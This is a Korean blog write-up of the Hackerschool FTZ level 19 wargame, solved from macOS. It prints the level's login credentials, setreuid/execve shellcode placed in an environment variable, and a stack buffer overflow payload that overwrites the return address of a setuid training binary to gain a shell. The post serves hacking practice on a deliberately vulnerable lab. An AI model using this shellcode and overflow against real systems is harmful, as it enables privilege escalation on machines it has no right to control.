Security&Hacking/시스템 해킹

해커스쿨 ftz level19 (macOS)

Dior2ky 2020. 1. 19. 02:05
반응형

해커스쿨 ftz Level19

MacOS에서 푸는 해커스쿨 ftz 

해커스쿨 ftz level19 단계이다.

먼저 ftz서버를 실행한다.

서버 실행을 모르면 ftz trainer1 단계에 소개되어 있다.

 

Mac의 터미널을 열어 서버에 접속합니다.

명령어는 

ssh -c aes128-cbc level19@서버ip

라고 입력합니다.

Id: level19, pw: swimming in pink 로 로그인을 하고 파일을 확인하였다.

hint를 확인하였는데 비교적 짧은 코드가 나왔다.

setreuid함수가 없어서 이를 포함한 쉘코드를 환경변수를 사용하여 풀어야겠다.

Gdb를 실행하였다.

Main함수의 구조를 살펴보니 44바이트를 채우고 shell 코드의 주소를 넣으면 될 것 같다.

tmp로 이동하여 환경변수에 등록하고 쉘코드의 주소를 불러왔다.

$export EGG=`python -c 'print "\x90"*20+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c


$gcc getenv.c -o getenv


$./getenv

명령어들을 차례로 입력하여 0xbffffe30의 주소를 얻었다.

다시 돌아와 얻은 주소를 포함한 명령어를 입력하였다.

 (python -c 'print "A"*44+"\x30\xfe\xff\xbf"'; cat) | ./attackme

입력창이 나오고 my-pass를 입력하니 level20의 패스워드가 나왔다.

 

 

끝.

반응형